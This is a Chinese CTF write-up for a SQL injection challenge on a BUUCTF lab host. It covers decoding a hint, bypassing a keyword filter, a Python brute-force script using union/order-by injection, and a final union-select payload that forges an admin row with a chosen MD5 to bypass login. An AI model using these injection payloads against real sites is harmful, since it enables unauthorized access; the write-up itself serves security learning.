挺有意思的一题,打开网站首先给个登录框,随便输个admin,提示wrong pass!,查看源码,发现有串base编码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
先base32,后base64解码,得到一段sql语句
select * from user where username = '$name'
可以看到程序只查询了username,那么密码就应该是后台另外判断的。
首先尝试正常sql注入
name=1' Order by 3#
虽然有提示过滤,但是大小写即可绕过,最终得到列数为3。
后续测试中发现()被过滤,采用order by注入
import requestsimport timeurl='http://afeaeb99-e18a-4f62-81a8-20b9dbcac921.node3.buuoj.cn/search.php'flag=''char = '0123456789abcdefghijklmnopqrstuvwxyz'while True:for i in char:payload = f"admin' union select 1,'zzzzz','{flag+i}' Order by 3#"r=requests.post(url,data={'name':payload,'pw':'123'})time.sleep(1)if "pass" in r.text:flag+=tempprint(flag)breaktemp=i
跑出来一串md5:cdc9c819c7f8be2628d4180669009d28,但是解也解不出来,后来看了源码才明白原来跟数据库中的数据没有关系
$arr = mysqli_fetch_row($result);// print_r($arr);if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}
首先程序在数据库中找到admin的数据,然后再将用户传入的pw进行md5加密,再与数据库中的数据进行判断。但是当使用union select注入时,数据库返回的数据会包含union select注入的结果,例如:
MariaDB [test]> select * from test1;+---------------------------+-------------+| username | password |+---------------------------+-------------+| vampire | mypassword || vampire1 | mypassword || vampire | random_pass |+---------------------------+-------------+3 rows in set (0.000 sec)MariaDB [test]> select * from test1 union select 1,2;+---------------------------+-------------+| username | password |+---------------------------+-------------+| vampire | mypassword || vampire1 | mypassword || vampire | random_pass || 1 | 2 |+---------------------------+-------------+4 rows in set (0.001 sec)
利用这个,将自己构造的用户名和密码插入查询中,pw参数再传入明文,即可绕过。
payload:
name=111' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
